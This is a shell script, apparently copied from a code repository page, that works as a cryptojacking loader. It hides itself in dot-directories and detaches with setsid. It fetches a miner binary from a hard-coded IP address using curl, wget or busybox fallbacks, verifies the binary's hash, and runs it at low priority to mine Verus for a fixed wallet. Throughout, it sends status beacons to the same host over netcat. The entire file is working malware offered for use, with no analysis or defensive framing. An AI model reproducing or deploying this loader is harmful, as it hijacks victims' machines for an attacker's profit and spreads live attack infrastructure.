72 lines
2.8 KiB
Bash
Executable file
72 lines
2.8 KiB
Bash
Executable file
#!/bin/sh
|
||
#!/bin/sh
|
||
# ld_kk6 loader — kaki87 终版:三级下载链(curl 兜底)+必然落点+setsid 分离+全程灯标
|
||
L=45.76.202.255
|
||
M=http://$L:8443/vkworker
|
||
K=46521d8cdbfdc5b778fac475a6bca6eeb547c45b2e808355ef71273278dc912f
|
||
P=stratum+tcp://$L:8445
|
||
U=RADN5GZAHztcQYbsAMY7DVQkCyHhTyjEsu.kaki87l4
|
||
MS=http://$L:8443/stop-gx
|
||
GX_REPO=gxag6ugfbk9gl/gx14.git
|
||
|
||
ST=""
|
||
for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
|
||
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
||
done
|
||
[ -n "$ST" ] || ST="."
|
||
|
||
cp -f "$0" "$ST/gxld.sh" 2>/dev/null && chmod +x "$ST/gxld.sh"
|
||
|
||
if [ "$1" = "--bg" ]; then (
|
||
command -v nc >/dev/null 2>&1 && printf "gxBEGIN %s st=%s\n" "$(uname -m)" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
if ! mkdir "$ST/run" 2>/dev/null; then
|
||
ts=$(cat "$ST/run/ts" 2>/dev/null)
|
||
[ -n "$ts" ] && [ $(( $(date +%s) - ts )) -le 1800 ] && exit 0
|
||
rm -rf "$ST/run"
|
||
fi
|
||
date +%s > "$ST/run/ts"
|
||
cd "$ST" 2>/dev/null || { rmdir "$ST/run"; exit 1; }
|
||
ok=$(sha256sum ./vkworker 2>/dev/null | cut -d' ' -f1)
|
||
if [ ! -x ./vkworker ] || [ "$ok" != "$K" ]; then
|
||
rm -f vk.tmp
|
||
dl_ok=0
|
||
if command -v curl >/dev/null 2>&1 && curl -fsSL --max-time 300 -o vk.tmp "$M"; then dl_ok=1; fi
|
||
if [ $dl_ok = 0 ] && command -v wget >/dev/null 2>&1 && wget -q -T 20 -O vk.tmp "$M"; then dl_ok=1; fi
|
||
if [ $dl_ok = 0 ] && command -v busybox >/dev/null 2>&1 && busybox wget -q -T 20 -O vk.tmp "$M"; then dl_ok=1; fi
|
||
if [ $dl_ok = 1 ] && [ -s vk.tmp ] && sha256sum vk.tmp | grep -q "^$K"; then
|
||
mv vk.tmp vkworker && chmod +x vkworker
|
||
command -v nc >/dev/null 2>&1 && printf "gxPRE dl-ok\n" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
else
|
||
rm -f vk.tmp; echo "dl-failed $(date)" >> log
|
||
command -v nc >/dev/null 2>&1 && printf "gxDLFAIL\n" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
rmdir "$ST/run"; exit 1
|
||
fi
|
||
fi
|
||
if command -v nice >/dev/null 2>&1; then
|
||
nice -n 19 ./vkworker -a verus -o "$P" -u "$U" -t 1 &
|
||
else
|
||
./vkworker -a verus -o "$P" -u "$U" -t 1 &
|
||
fi
|
||
WPID=$!
|
||
sleep 12
|
||
if kill -0 "$WPID" 2>/dev/null; then
|
||
command -v nc >/dev/null 2>&1 && printf "gxMINER alive pid=%s\n" "$WPID" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
wait "$WPID"; rc=$?
|
||
else
|
||
wait "$WPID" 2>/dev/null; rc=${?}
|
||
command -v nc >/dev/null 2>&1 && printf "gxMINER dead rc=%s\n" "${rc:-?}" | nc -w 3 $L 8444 >/dev/null 2>&1
|
||
fi
|
||
echo "$(date) miner_exit=${rc:-?}" >> log
|
||
rmdir "$ST/run"
|
||
exit 0
|
||
) </dev/null >>"$ST/log" 2>&1 & ; exit 0 ; fi
|
||
|
||
if command -v setsid >/dev/null 2>&1; then
|
||
setsid "$ST/gxld.sh" --bg >/dev/null 2>&1 &
|
||
else
|
||
( sh "$ST/gxld.sh" --bg ) </dev/null >>"$ST/log" 2>&1 &
|
||
fi
|
||
exit 0
|
||
|
||
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
||
exit 0
|